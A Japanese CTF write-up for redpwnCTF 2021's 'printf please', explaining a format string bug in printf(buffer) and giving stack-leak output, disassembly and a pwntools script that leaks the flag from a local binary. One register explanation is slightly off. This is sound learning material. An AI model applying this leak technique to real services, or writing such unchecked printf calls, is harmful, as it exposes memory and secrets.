###### tags: `redpwnCTF 2021` `FSB` # printf please - redpwn CTF 2021 ![](https://img.shields.io/badge/Type-FSB-red) [公式リポジトリ](https://github.com/redpwn/redpwnctf-2021-challenges/tree/master/pwn/printf-please) ### writeup #### TL;DR 配布されたCのソースファイルを見ると自明なFSBがある(30行目)。 ```c if (!strncmp(buffer, "please", 6)) { printf(buffer); // <- here puts(" to you too!"); } ``` よって、FSBによってFlagを読み出す。 #### debug pleaseは`706c65617365`(なのでリトルエンディアンでは`657361656c70`)。 ``` what do you say? please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx please 00007ffc7dab7d96 0000000000000001 0000000000000000 00005574e25a1010 00007f793512cd50 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 to you too! ``` そうすると、6番目に`657361656c70`があらわれています。 次に、rspから`+0x200`にFlagデータの先頭アドレスedx[^1]がある。 ``` 0x000055555555518f <+47>: lea r13,[rsp+0x200] ~~~ (中略) ~~~ 0x00005555555551e7 <+135>: mov edx,0x200 0x00005555555551ec <+140>: mov rsi,r13 0x00005555555551ef <+143>: mov edi,eax 0x00005555555551f1 <+145>: mov r12d,eax 0x00005555555551f4 <+148>: xor eax,eax 0x00005555555551f6 <+150>: call 0x555555555130 <read@plt> ``` - (8byte × 64) = 0x200 - 6個目にデータがあらわれる。 以上より、6 + 64 = 70番目からデータをリークすればいいことがわかる。 ### solver ```python= from pwn import * elf = ELF("./please") io = process(elf.path) payload = "please " for i in range(5): payload += "%" + str(70+i) + "$llx " io.sendlineafter("?", payload) io.recvuntil(" ") l = b"" for i in range (5): l += p64(int(io.recvuntil(" "), 16)) print(l) ``` #### 参考文献 1. [x86_Architecture](https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture) [^1]: 算術演算操作とI/O操作に使用されるレジスタ [^1]: 算術演算操作とI/O操作に使用されるレジスタ